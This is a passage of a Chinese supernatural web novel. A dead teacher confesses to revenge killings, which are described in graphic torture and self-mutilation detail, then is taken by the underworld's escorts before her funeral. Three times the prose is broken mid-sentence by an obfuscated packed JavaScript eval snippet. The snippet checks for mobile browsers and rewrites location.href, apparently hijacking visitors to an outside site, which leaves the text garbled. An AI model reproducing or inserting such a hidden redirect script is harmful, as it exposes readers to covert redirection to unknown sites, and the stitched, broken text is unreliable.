乔老师摇了摇头:“如果是他杀了我,或许我报复他的时候……会更没有心理负担吧?” “他没有杀我,人是很难坏到这个程度的,尤其是张景程这种人,他有体面的工作,有社会地位,有未婚妻,没必要因为我而铤而走险。发现我跟踪他以后,他只是刻意开到了一个很偏僻的路段,把我甩掉了。” 而人生里总是有各种各样的机缘巧合,命运总是转折在猝不及防间。 “那天雨特别大,市里停工停学,有些片区干脆停了电,积水特别深。” 的确是的。 闻允失神地想:市里连下了半个月的雨。 “我的车在积水里抛锚了。”说起回忆,乔老师的眼神变得很悠远,她望回过去,看到自己被淋得透湿的夜晚,路灯没有亮,她站在路边,想向路过的车辆求援。 一辆大货车疾驰而过,不仅将她撞倒了,也从她的身上开过,将她拦腰碾成了两截。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530309|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那实在是……太意外了,”乔老师喃喃道,“我还有好多事没有做啊,我还没有举报张景程,还没来得及保护那个姑娘,我后来还想到了你呢,我想,我都还没看小允长大成家。” 闻允克制不住地微微发抖,严崇山揽住他的肩,低声叫道:“……小允。” 濒死之际,时间被无限放慢,乔欣荣的思维漫无目的地发散,她一会儿想,死了说不定就能和念念重聚了,也许芸芸也等着我呢。一会儿又想,闻允这孩子怎么不来看看我呢?毕业以后再也没见过他了,不知道他过得好不好,是不是像我期盼的那样前途无量? 兴许是上天垂怜,她在死前那一刻,竟真的看到一辆车停在路边,她许久不见的学生踉跄着下了车,惊愕地叫她“乔老师”。 “我见过你?”闻允的呼吸急促起来,“怎么可能呢?我没有,我这四年来从来没有见过你!” 乔老师说:“你最开始好像没有发现我死了……直到我们都听见了一阵锁链声。” 严崇山询问:“黑白无常?” 乔老师点点头:“那声音很远,我还没有意识到发生了什么,小允先反应过来了。” 他问乔欣荣,你死了吗? 乔欣荣积攒的所有委屈、不甘和恐惧都在此时被激发了,她摇着头,不断不断地重复,我不想死,我不想死,我还有事情没完成…… “你好像就……做了什么决定。”乔老师时至今日也不知道那天究竟发生了什么,是以讲述中也带着疑惑,“你突然跪倒下来,而我觉得有一种看不见的东西把我包裹了,那锁链声停顿了一会儿,竟然又远远地离开了……” “我……跪倒下来?”闻允茫然地重复,“……可是我什么也不记得。” “我试图问你怎么了,但你表现得像既听不见,也看不见,一直跪在地上,紧紧地捂着胸口。”乔老师停顿片刻,补充道,“我还听见了若有似无的男人声音,远远的,阴冷冷的,说的是‘又是魂魄失踪,回去报告阎王大人吧’。” 说完,乔老师自己也感慨起来:“……这个剧情要是出现在电视剧里,我都不一定会信。可它真实地发生在我身上,什么死亡、魂魄、黑白无常,我不得不信了。” 这段信息捋顺了,单仍有疑问亟待解答,严崇山提醒她:“即便这样,你也应该是鬼魂形态,为什么还能回到肉身里?” 乔老师犹豫了片刻,似乎在斟酌要不要将这件事也一并说出来。 严崇山看出她的迟疑,在心中盘算:乔欣荣承认犯罪事实很痛快,甚至把前因后果也交代得很清楚,却对这件事闭口不谈,难道说出这件事对她有损害? 不,她已经是死人了,再损又能损到哪里去。 又或者……有人要求她保密?她一个普通人,是谁帮她画了符、谁替她缝合尸体,又为什么要为她做这些? 果然,在短暂的摇摆后,乔欣荣承认道:“小允看不见也听不见,我也不知如何是好,这个时候……有一个人来了。” 24. 收魂 “是谁?” 乔老师摇摇头:“我不认识他,他是一个挺年轻的人,打着一把黑伞,我也不知道他是什么时候来的……说来真是太巧了,那一晚,我竟然遇到了所有能帮到我的人。” “他也能看到鬼魂,而且对我一点也不吃惊,反而问我还没完成的事情是什么。” 乔老师话音一顿,她酝酿了一下措辞:“可能是我想为自己开脱吧……但是看着他眼睛的时候,我感觉到一种前所未有的憎恨,我从来没有那么痛恨过命运的不公平,所以我鬼使神差地回答他,我想杀人。” 面对这么凶恶的回答,那个人竟然笑了。 “他说,他可以帮我,只要我愿意和他做一个交易。” 严崇山质疑:“和一个死人做交易?” 乔欣荣点头:“是啊,我当时也很疑惑。我说我已经死了,又能和你做什么交易呢?他说他能帮我回魂七天,只要我能把杀掉的人的魂魄收集起来,交给他。” ——怪不得现场没有死者的灵痕,也没有任何足以使魂魄魂飞魄散的能量冲击。 严崇山抱起双臂:“那应该是不可能的,你是个普通人,怎么能做到收集魂魄?……而且他要魂魄做什么?” “我没问,”乔欣荣干脆道,“我已经死了,一个人连命都没了,还会关注其他事吗?只要能达成目的,他就算要我的魂魄都可以。” “所以我想也没想地就答应了,他帮我缝合好身体,贴了一张还魂符,然后给了我这个。” 乔欣荣从口袋里摸出一个巴掌长的小瓶子。 它和计遇持有的那个魂瓶长得差不多,都是陶瓷质感,上面刻着浮雕。但区别于普通魂瓶的是,上面雕的不是牛头马面,而是一只凶神恶煞的鸟,长着九个脑袋。 严崇山想将魂瓶接过来,乔欣荣一抬手,没让他得逞。 闻允倒是发现了浮雕的差别,询问严崇山:“魂瓶有问题?” 严崇山点点头:“九头鸟又叫‘鬼车’,在传说里是以人类魂魄为食的,恐怕功能不止是收押魂魄,还有其他不太好的作用。” 既然已经说了这么多,再隐瞒也没有意义,乔欣荣干脆竹筒倒豆,把知道的一切都交代了:“他说他只要生魂,一定要在人死之前把魂魄收进瓶子里,拿到魂魄以后,就把瓶子放到芸芸的坟前来,他会来取。” 严崇山问:“什么时候?” 乔老师回答:“当时约的是七天后。我是9月8号死的,现在零点过了,就是今天,我的时间不多了……我是来完成交易的。” 闻允忍不住往前走了一步:“……你要离开了吗?” 严崇山没闻允那么软的心肠,他时刻记着自己的任务,不解风情地说:“我们最后是要写报告提交系统的,趁你还有时间,把作案手法也都说了吧。” 乔老师无可无不可地点头,随即,她古怪地笑了一下:“你知道吗?我也是死后才发现……鬼魂作案,比人类作案,要容易多了。” 她回魂后,花了大概一天的时间适应这种穿着皮肉的感觉。在9月9号下午,她买了一张新的手机卡,用陌生号码给张景程的手机发了条短信,约他在活动室见面。 严崇山问:“你约他他就出来了?他在活动室犯的法,李芸芸又死了,我如果是他,一定觉得亏心,巴不得躲着活动室走。” 乔老师进一步解释:“我是以陈芳歌的名义约他出来的。他们就是皮肉关系,没什么深感情,和陈芳歌好的人不止他一个,否则她怎么能这么轻易就让门卫处删了监控?” “我告诉他我把监控备份了,他估计觉得我要勒索,又没什么办法,就来赴约了。” 张景程上钩以后,乔欣荣假称头疼回到寝室,让同事看到自己在床上躺下,以便制造不在场证明。接着,她魂魄离体,带着手中的那把钥匙,去活动室开了门,在里面等候张景程。 她的目的很明确,她要不留痕迹地复仇,保住自己的身后名。 “他是个普通人,看不到我。”乔老师好像变了一个人,说起犯案的经过,不仅风轻云淡,更有些残忍的快意,“我想让他知道是谁杀了他,我太迫切了,所以他好像进入了幻觉。” 那是张景程一生中看到过的最恐怖的场景,他看到活动室变成了无边炼狱,四周都是充斥着哀嚎,上不见天、下不着地,血色铺满视野范围,而在他的眼前,有一根烧得通红的铁柱。 在铁柱旁,断成两截又被缝合的、血淋淋的乔老师拉着血肉模糊的李芸芸的手,冷冷地注视着他。 他痛哭流涕,想要认错,想要求饶,浑身上下却没有任何器官受他支配,他连吐出一个字都做不到。 他眼睁睁地看着自己迈动沉重的步伐,一步一步走到热意灼人的铁柱前,抬手抱了上去。 而后,他爆发出一阵非人的惨叫。 剧痛凌迟着他的每根神经,他无法昏厥,从头到尾,他都保持着足够的清醒,闻到血肉烧焦的诡异香气,感觉自己被一点一点地融化。 在整个过程里,他的眼神不受控制地看着李芸芸。 李芸芸大脑凹陷,五官稀烂、难以分辨,他却能感觉到,李芸芸也在注视着他。 乔老师道:“芸芸和我说过,发生关系的时候,她本来是背对着张景程的……但那个混蛋竟然说想看她的表情,又把她翻了过来。” 乔老师笑了笑,眼神里透露出对自己罪行的自得:“既然那么喜欢看,不如就看个够吧?” “不过我走的时候运气不好,刚锁上门,就碰见了郭敦他们……三个学生里,竟然还有一个是阴阳眼……啊,我可是差点就暴露了。” 严崇山能明显感觉到她的状态不对劲,他微微捏紧拳头,不动声色地示意:“我清楚了。那陈芳歌呢?” “解决她就简单多了。”乔老师说,“她的心里承受能力比张景程差很多,我只是让她不停陷入恐怖的幻觉里,她就崩溃了。为了不看到那些东西,她硬生生地挖出了自己的眼珠——正好啊,反正她也对张景程的罪行视而不见。” “紧接着我告诉她,只要她能完全替张景程保守秘密,把舌头也拔下来,我就不会再找她了。” 要把自己的舌头拔出来,不借助外力根本是做不到的,一是没人能对抗那种剧痛,二是舌头其实是个很长的东西,舌面又滑腻,人用手指捏它都未必能捏紧,遑论将它拔下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530310|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乔老师完全能读懂严崇山在想什么,她微笑着描述:“她当然是拔不下来的,所以就用订书机……” “够了。”闻允蓦然打断她,他摇着头:“你根本就不是这么残忍的人。” 乔老师一生得到过许多评价,大家夸她认真负责,夸她温和可亲,从来没有人用残忍两个字点评过她,更不要提这两个字还是从她的得意门生口中说出。 她神智回笼,闭了闭眼,脸上的微笑消失了,平静承认道:“……也许吧,但这些事都是我做的,没什么可否认。” “他们经历的这一切,也许等我下到阴曹地府,自己也会经历一次的。” 闻允浑身冰凉,他的声音有点哑:“但是为什么我不记得这些?” 严崇山在关键时刻总是很靠谱,他几乎刹那间就想通了其中关窍,引导着闻允:“你再好好想一想,8号那天晚上,你是要去什么地方,为什么会冒雨出门,打的是一辆什么车,怎么会经过那么偏僻的地方……” 似曾相识的感觉席卷而来,虚构的梦境开始坍塌,闻允的瞳孔骤然一缩。 镜花水月! 那些被藏在深潭之中的记忆重新浮出水面,带着大雨的潮湿气味,顷刻间将他带回过去。 8号那天下着暴雨,闻允的简历再一次失去回音后,他忍不住给HR拨了一通电话。 HR在电话中惊讶万分,她说自己从来没有接收到过闻允的简历,希望闻允能给她再发一份。 但线上传送文件就会消失的苦头闻允已经尝够了,他决定整理一份纸质简历,亲自送到HR手上,保证万无一失。 抱着无论如何也要找工作的决心,即便冒着那么大的雨,闻允也出门了,只是他运气不佳,打到的车是个新手司机,雨天不好认路,导航有延迟,司机七拐八拐就迷了路,最后开到了一个闻允从未去过的地方。 隔着车窗,闻允看见乔老师没有打伞,迷茫地在雨中徘徊。 他把车叫停,下了车,却见乔老师腰间鲜血淋漓。 司机吓得疾驰而去,而他猝不及防地面对了乔欣荣的死亡现场。 也许是因为乔欣荣的尸体太有冲击力,在那个时刻,他心中只剩下一个念头,一个连父母去世时都没有过的强烈念头:不要死,要拿什么来挽救你都可以,求你不要死。 他的心念落地,胸口就强烈地疼痛起来,他痉挛着跪倒在地,嘈杂的雨声、骇人的尸体,一切都离他远去,他只能感觉到雨水冰冷地冲刷着他的身体,而鼻尖萦绕着一股久散不去的血腥味。 片刻之后,他的听觉回笼,眼前仍是一片漆黑,而一只冰凉的手托住了他的脸。 对方的动作是那么轻柔,仿佛在对待什么绝世珍宝,他抚摸着闻允的脸,凑在他的耳边,声音又阴柔、又……甜蜜。 “你今晚没有出过门,”对方说,指腹轻轻摩挲着他的脸,“早点回家吧,嗯?回家以后,洗个热水澡,泡点姜茶喝,不要让自己感冒了。记住了吗?9月8号的夜晚十分平常,无事发生……” 最后,对方轻笑起来:“啊……真有意思,下次见面的时候,你会不会记得我和你说过这些话呢?我很期待。” 25. 黑白无常 闻允的表情在震惊、茫然、恍然大悟中走了一遭,通过他的表情变化,乔欣荣推测他已经回忆起一切。 她可以坚信自己的所作所为是为了正义,唯独一件事她问心有愧。 为了挽回自己在闻允心中的形象,她自私地希望闻允能忘记那一夜发生的事,而这个要求,神秘男人也替她完成了。 “我看见他和你说了几句话……你就失魂落魄地打车离开,他和我保证,只要我不提,你绝对想不起来那天晚上发生的事。” 乔老师真想叹气。 人活着的时候,常常会忘记自己一直在呼吸,那是一种下意识的举动,刻意去关注后,反而会觉得喘不上气。 而人死了,的确便不再需要呼吸,只有心绪激荡难以平复,想要靠深呼吸来调节情绪的时候,乔老师才意识到,那看似平常的动作她已经不能再完成。 她的心脏不再跳动,血液不再流动,胸膛不再起伏。 奇怪的是,她却仍旧会被思想牵动心情,喜怒哀乐都如生前一般鲜活——有时真不知道,究竟是生命体征更能代表生存,还是切实的感受更能象征活着。 她以沉默代替了叹息,艰难地认下自己的过错:“我是有私心的,我不希望在你心里,我最后沦为了一个杀人犯。” ——可她已经是了。 闻允望着她,有一瞬间产生了再度被抛弃的感受,他低声道:“我以前送你花,只送芍药的。” 那原因其实也很简单,无关花语,只是因为乔欣荣喜欢,他就投其所好。 逢年过节,他会给乔老师送花,在花束里附一张贺卡,写满对乔老师的祝福。 乔老师起先还不太接受,她怕闻允掏钱给她买了花,就会紧着自己的生活费,但对于闻允来说,她的拒绝比艰难的日子更令人失落。 后来这就成了他们之间约定俗成的一件事,没有人再推脱,也没有人额外地表达感谢,两个人保持着适中的距离,在合适的时机扶持着对方。 可既然乔欣荣那么喜欢芍药,今年教师节,他又为什么带着往常用来祭奠父母的康乃馨来看望她呢? 他也许的确失去了记忆,潜意识却未能放下。 乔欣荣大限将至,都说人之将死其言也善,她没什么可接着说的,就把魂瓶给了严崇山:“我不知道他要魂魄做什么……但你刚才说,作用可能不妙。这两个人死了,欠的债也就还清了,没有要他们连魂魄都受煎熬的道理。你们是专业人士,比我更知道怎么处理他们的生魂……这个瓶子还是你拿着更合适。” 她的想法和严崇山不谋而合。 严崇山正担心呢,尽管这个神秘人他也想查一查,但他还不知道那个神秘人会不会有什么特别的本事,怕万一和神秘人贸然撞见要有意外。现在拿到魂瓶正好,既能给这个案子收一个差强人意的尾,又能早点离开,避免和他相遇。 该说的话说完了、该做的事也做完了,严崇山一时有点拿不准,他是放乔欣荣在这里等死,还是再做点什么。 于是,他悄悄往边上望了一眼。 闻允的状态不大好,虽然整整一晚他都没有流下一滴泪,但想必这些信息给他造成的冲击不会太小。 果然,闻允犹豫着,又开了口:“乔老师……” 他会问什么呢?严崇山才认识这个下属没多久,但他觉得自己已经将他的脾气摸得很透了。闻允就是一个表面看起来乖的小孩儿,其实又出格、主意又正,跟他还有点没大没小…… 也许他会和乔欣荣正式地告个别,或者问她后不后悔吧。 严崇山自顾自地推测着,却听见闻允说:“……那时候你很疼吗?” 严崇山的心被人撞了一下,他无声地咬紧了牙根。 他回想起某个早晨,局里阳光正盛,日光笼罩着整个屋子,让一切都变得暖烘烘、懒洋洋。 他站在沙发前,边上是哭泣不止的罗梨,她不停地问“为什么死了”、“怎么会这样”、“现在我们该怎么办”。 那时的特安局刚刚成立没多久,他跑通许多关系才把地址安置在了那栋特殊的别墅里。 局长还不是他,尽管他自觉疲累,其实也只需要跑跑应酬、和父亲撒撒娇,而大小事宜自然有人会解决。 可是死亡来得太突然了,在他们谁也没想到的时候,第一任局长一声不吭地离开了所有人。那个王八蛋甚至没有留下只言片语的遗言,更不要说什么指导特安局未来发展的锦囊妙计。 支撑特安局的重任一下落在了严崇山的身上。 他从未觉得自己的思绪那么清晰过,该跑什么程序、该怎么应对那些滑不留手的官员、该怎么写讣告、该怎么办葬礼……他的大脑梳理着桩桩件件的待办事件,而在那些事项里,有一个想法冒出来,抢占了最高优先级,怎么都挥之不去。 他死得有痛苦吗?严崇山想。他是安然去世的吗?走的时候疼不疼? 严崇山用力地盯着闻允的侧颜,他在闻允身上看到了过去的自己,一个明明父母双全吃穿不愁、却仍然觉得自己孤立无援的混账小孩。 而后,他又看到了闻允本身。 他是真的一无所有了,而在所有的事清里,他最关注的不过一件。 乔欣荣愣住了,在极快的时间里,她脑海中浮现出的第一个反应是“很疼”。 然而面对闻允的眼神,她难以说出口,于是她微微一笑,像一个给晚辈讲睡前故事的长辈,轻柔地、慢慢地说:“不疼的,那时候我肾上腺素飙升,还没来得及觉得疼就走了,一切就像做梦一样。你不要……不要替我伤心。” 闻允像是释然了。 如果有机会,他也想问问他的父母。 但想必,乔老师的回答就是真正的答案了吧?那对温柔的夫妻,最终是安详离去的。 在这样的释怀里,闻允感到身上微微一重。那种重量不像是外界强加给他的压力,反而像是某种他原本就有的东西,在缺位已久后被回收起来,身上只有一种“本应如此”的踏实和舒适。 乔欣荣的肉身却失去了支撑,骤然倒地。 闻允悚然一惊:“乔老师!” 变故发生在转瞬间,闻允的能力似乎结束了,他看见乔老师变得半透明,而远处传来一阵丁零当啷的锁链声。 严崇山虽然听不见、看不见,却能感觉到四周的空气变得阴冷,那种阴冷不同寻常,不像是冰库里的冷气,而是一种扎根骨髓的寒意。 草叶摇摆的速度骤慢,幅度趋近于无,一层若有似无的薄雾笼罩了四周,令一排一排的墓碑变得影影绰绰。 雾气当中,两个一高一矮的人影出现,动作缓慢地向此处行来。 他们戴着长长的高帽,身着古袍、手持镣铐,动作虽慢,却平滑异常,仿佛根本没在用脚走路,而是飘了过来。 所有人死后都要经历这一遭,何况乔欣荣还不是第一回,她心中坦然,束手就擒地合上自己的双腕,而闻允心中却充满不甘,他紧紧地盯着那一黑一白、转瞬之间就飘到眼前的身影,很有些蠢蠢欲动的架势。 严崇山急促地问:“什么情况?” 闻允咬牙:“黑白无常……!” 严崇山表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530311|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微变。 特安局再怎么特殊,毕竟也只是隶属人间的一个部门机构,不被天道和地府承认,远远没有与这些天生地设的存在平起平坐的资格。 地府办公,别说上去交涉,他们最好的做法其实是退避三舍,以保平安。 而闻允竟蠢蠢欲动,展现出一副要和地府抢人的架势! 他一把压下闻允的后脑勺,低声提醒道:“你别乱来,低头别看,给我放尊重点!” 闻允不知死活地拨开他的手,硬生生抬起头来。就这么一会儿,锁链声碰撞出沉重的声响,两位阴差近在眼前,白无常吐着猩红的长舌,弯着一双似笑非笑的眼,正俯身和他对视。 没有活人能不被这种无形的压迫感影响,闻允的心跳急速加快,他的手脚一阵阵地发麻,耳边传来几乎冒着寒气的人声:“你是……啊,怪不得我们找不到亡魂。” 白无常直起身来,与黑无常一同朝他们作了个揖,接着说:“小人们也只是各司其职,秉公执法,还望二位大人莫要与我们过不去。” 什么大人?什么过不去?黑白无常的态度为什么会是这样? 闻允死死地盯着黑白无常,两位阴差打过招呼、仁至义尽,便不再搭理他,手中拘着已然戴上脚铐脚镣的乔欣荣,幽然远去。 乔欣荣跟行至很远,陡然用力地回过头来:“小允,替我给李建安送一颗西瓜糖吧!……你以后自己要保重!” 严崇山看见他的表情就知道不好,这小子竟然还想追出去,他的手铁钳似的扣住闻允的肩膀,强硬地调转方向将他抓了回来。这样犹嫌不足,严崇山将他往怀里一按,近乎咬牙切齿:“你疯了是不是?那可是鬼差!你狗胆包天了,连鬼差办公务都敢干涉!” “你想怎么样,啊?闻允,你要和鬼差抢人吗?你简直作死!” 阴冷的气温逐渐正常,闻允一言不发,只是在他怀中剧烈地挣扎。然而他们都知道,人死不能复生,即便闻允真的有本事把乔欣荣强留下来,那之后呢? 不要她转世投胎了吗?眼睁睁看着她因为年岁推移而魂飞魄散吗? 过了片刻,闻允终于不动了,他的脸被按在严崇山颈窝里,好一会儿,严崇山的侧颈被濡湿了。 闻允脱力地靠在严崇山怀里,他最初只是无声地流泪,但委屈却和眼泪一样越流越多,最后,他忍不住低低地抽噎起来:“我没有亲人了,这就是最后一个,我再也没有亲人了……” 严崇山迟疑了一秒,他抬起手,极尽温柔地拍着闻允的背,一下又一下地安抚着,给他顺气。 “没事的,”他用哄小孩儿的语气说,“你不会没有亲人的……以后我们都是你的亲人好不好?进了特安局,你亲我也亲,大家一家亲……” 他这句安慰说得很有个人特色,简而言之就是贱,压根不适合在这种时刻拿来哄人,他要是这么哄罗梨,罗梨得记恨他一辈子。 可闻允却奇异地被安抚了,在混沌的海洋里,严崇山是他唯一攀住的一叶扁舟,他不停地被悲伤的浪潮高高推起,即将重重落下时,严崇山却接住了他。 他的不着调举重若轻地化解掉浓厚的悲伤,闻允紧紧地抓着他的肩膀,一句话也不再说,脊背仍旧微微地颤栗。 严崇山心头微动,他想:没关系的……乔老师不是说过吗?什么感情都可以支撑着人走下去,亲情也好,友情也罢,进了我的局里就是我的人了,我会让你以后都过得安安稳稳、顺顺利利……再也不要面对离别了。 即便除了天地,没人可知他的心声,他仍旧在心里郑重道。 我发誓。 26. 西瓜糖 乔老师下葬的日子是个艳阳天。 特安局的调查结果不能对外公示,整个案件的前因后果、来龙去脉被详细地整理成卷宗,以特殊的编号存入档案,上传到了系统内网里,只有少数职权够高的人能够查阅。 里面如实记录了乔老师的死亡日期和身亡原因,但在外界眼中,这个尽忠职守的好老师只是死于一场来势汹汹的急性病。 日光明盛,草地葱翠,柏树华盖如伞,枝叶在风中微微摇摆,阳光穿过罅隙投落树阴,为墓碑撒上些许光斑。 众人站在墓园之中,皆着黑衣白衣,低低的哭泣声垫在风里。 乔欣荣的父母、前夫、亲朋好友都来了,就连交集不多的李建安都到了现场。 短短几个月内,先后参加两场葬礼,李建安的面色难看至极,他眼下青黑、胡子拉碴,看起来像个穿上别人的西装来冒充身份的流浪汉。 闻允也是一身黑西装,他皮肤白净,面无表情,眼睫半垂着,怀里抱着乔欣荣的骨灰盒。 死者的后辈要将骨灰盒放进保护箱中,再把箱子落进大敞的墓穴,这个流程叫落葬。乔欣荣只有一个女儿,但她女儿也去世了,安放骨灰盒这件事干脆由闻允代劳。 多年情分,喜怒哀乐,全都压缩进这小小的一方盒子里。 埋进土里了,就是没了。 闻允的动作近乎郑重,他上前一步,小心翼翼地将盒子放进保护箱里,掌心松开骨灰盒的刹那,他的心也跟着变轻了。 他在人世间的羁绊又少了一点。 亲属落葬,闻允退回人群,严崇山高高大大地站在他的身边,低声问:“你还行吗?” 闻允不做声,简洁地点了个头。 对于严崇山对外声称乔欣荣是病死的这件事,他是心怀感激的,对领导的好感也有所提升,只可惜现在他情绪低落,实在没有什么力气说话。 严崇山倒也挺会审时度势,不跟以前一样没轻没重地打趣闻允,他看太阳有点晒,撑开一把遮阳伞,把伞盖向闻允一偏,轻声问:“我一会儿要去趟崇明中学,后勤处有事要做,你想跟我一起吗?还是留在这儿?” 留在这儿也无事可做,闻允并不认识这些人,在这里待的时间越长,就越被细碎的哭声、汹涌的悲伤所淹没,他吸了一口气,平和地朝严崇山道:“我跟你。……你带糖了吗?” 严崇山从怀里掏出一个文件袋:“喏,在里面。” 那夜之后,严崇山先报警处理了乔欣荣的尸体,随后把闻允带回局里。骤然遭受这么大的打击,闻允当晚直接发起了高烧,弄得严崇山刚忙完工作就要照顾病人,连轴转了两天。 闻允退烧以后缓过来一些,把黑白无常古怪的态度、连同乔欣荣那句没头没尾的西瓜糖给说了,二人虽然都很是不解,但那算是乔欣荣的遗言,他们还是帮了这个忙。 仪式还没结束,李建安精神恍惚地站在一旁,严崇山在人群里扫视一圈,找到了他,三步并作两步地走了过去。 “节哀吧。”严崇山开口,李建安迟钝地看了他一眼,闷闷地点头。 严崇山把手中的文件袋递过去,解释道:“之前出于调查需要,拿走了令爱的物品,现在物归原主,见谅啊。” 李建安接过文件袋,木然地想要打开看一眼,严崇山将他按住:“哎!你还是回家再看吧。我和闻警官先告辞了,还有工作要忙。” 说完,他自然地拉过闻允的手腕,两个人不动声色地离开了这个悲伤之地。 和这群人相比,许博航的伤感也不遑多让。 他和本案中的所有死者都没什么交情,难过只是因为又要上班了——他的能力特殊,做后勤工作时作用很大,尤其是这种受害者死状惊悚、知情者还众多的情况下。 闻允和严崇山抵达崇明中学时,许博航已经先一步到了。他蹲在学校门口,像一个显眼的大蘑菇,不知道在干什么,边上围了几个后勤处的兄弟,正在苦口婆心地劝他:“唉,早开始早结束,长痛不如短痛,伸头是一刀缩头也是一刀,咱们还是进去吧……” ……好么,原来是在耍无赖逃避上班。 但是这劝人的嘴里怎么没一句好话? 闻允好奇地看了一眼,他竟然能从许博航这张要么面无表情、要么满脸呆滞的脸上清清楚楚地看出“伤心”这种情绪,真不知道许博航上班都需要做些什么。 严崇山走上前去,他拍了拍许博航的肩,不轻不重地说:“耍什么赖?起来。” 许博航抬起头看了他一眼。领导虽然表现得并不严肃,但他深知领导关键时刻不容别人掉链子的习性,迫于严崇山的威压,他还是慢吞吞地站了起来,萎靡地往大门里走。 严崇山交代那几个后勤同志:“排查一下都谁知道案子的异常,把他们带过来,就说学校请了专家给他们做心理疏导,记住了,一个也别漏,尤其那几个目击者……哦对了,姓汪那个主任就不用带来了。” “是。” “放心吧头儿。” 几个人靠谱地应了一声,训练有素地开始行动。 闻允疑惑道:“为什么汪主任不用?” 严崇山点了一支烟,淡淡道:“记得计遇他们查出来学校里还有个阵么?我后来让李煦去套汪主任的话了,那狗东西为了让学校业绩好看,二十年前找了一个‘高人’设阵法,每二十年献祭一个学生。” 闻允皱起眉:“所以那个被梨子姐误招来的小姑娘是被献祭了?” 严崇山:“说来也挺可笑,这事儿属于是坏人遇上骗子,那阵法纯是骗人的,小姑娘的死确实是意外。汪主任掏了那么大一笔钱,对阵法深信不疑,以为李芸芸是这二十年的祭品。他本来美着呢,结果没想到转眼又多死了两个老师,以为阵法出问题了,有恶鬼要报复学校,所以怕成那样。” 闻允:“……” 他实在没法对这件弄巧成拙、异常可笑的事发表什么评价。 严崇山和闻允带上许博航,管校方要了一间空办公室。 许博航不用人说,一到地方就就坐到了办公桌后面,开始发呆。严崇山从兜里掏出四个玉印来,问闻允:“会搭结界了吗?” 闻允伸手去接:“可以试试。” 事实证明,高材生的可以试试只是一种自谦,闻允搭了一个相当完美的结界,严崇山反复进出门检查了几次,不由称赞:“你挺厉害啊。” 闻允无心和他斗嘴,他跟着坐在招待用的沙发上,不多时,第一个人来了。 她是目击陈芳歌死亡现场的倒霉老师,几天过去了眼睛还是肿的,人也有点哆哆嗦嗦,估计这件事对她来说根本过不去,她没被当场吓疯已经是心理素质强大了。 严崇山请她坐到许博航的对面,许博航一改自己那戳一下蹦一个字的倒霉习性,竟然正色起来,认认真真地对女老师道:“可以把手给我吗?” 女老师没听说过心理疏导还有这样的形式,她求助般看了严崇山一眼。 严崇山人模狗样地微笑道:“没事,这个是我们心理专家研发的握手共情疗法,不是占你便宜。” 女老师便把手塞进了许博航的掌心,她披着头发,两眼有点躲闪,像是害怕眼前这个年轻的心理专家上来要她先复述当日所见。 结果心理专家只是握紧她的手,用真诚的语气问:“您能看着我吗?” ——闻允发现许博航上班的时候社会化还挺好的,像个正常人。 女老师将眼神挪了回去,刚对上视线,许博航就开口了:“9月11号那天,你穿着白色的衬衣,黑色的休闲裤,搭了一件灰色的薄外套,早早地到了学校。大概几点呢?你记不太清了,六点多左右吧,因为那天你要负责开办公室的门,所以需要最早到达办公室……” 闻允微微吃惊,向严崇山做口型:“镜花水月?” 严崇山点点头,示意他接着听。 “那天出门不是很顺利,你开车……哦,你平时开车上班么?” 女老师眼神空白,机械地回答:“开车。” 许博航接着道:“你开车上班,结果路上等了好几个红灯,把你烦够呛……” 闻允站在一旁,越听心绪越复杂,越听越震惊——因为光是说女老师如何抵达学校,许博航都事无巨细地说了五分钟,编得栩栩如生,把一切细节都填满,描述真实还逻辑自洽! “……你心里挺好奇的,因为陈芳歌不是一个上班特别积极努力的老师,很少会留下来加大班,怎么会比你还早到呢?她趴在桌上,头发有点乱,身上穿着……” 许博航的语速不紧不慢,也没有太大起伏,越听越像念经,闻允听了一会儿已经开始走神,感觉再听一会儿就要睡着了。他看一眼时间,20分钟过去,许博航刚讲到“原来陈芳歌是死于突发心梗”。 闻允忍无可忍地掏出手机打字问严崇山:还要多久? 严崇山习接过手机,以为常地打字回复:20分钟吧。 …… 闻允现在知道为什么许博航抗拒上班,平时又为何沉默了。 这度秒如年的漫长20分钟令闻允坐立难安,当他快要夺门而出,逃避这种对精神的摧残的时候,许博航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 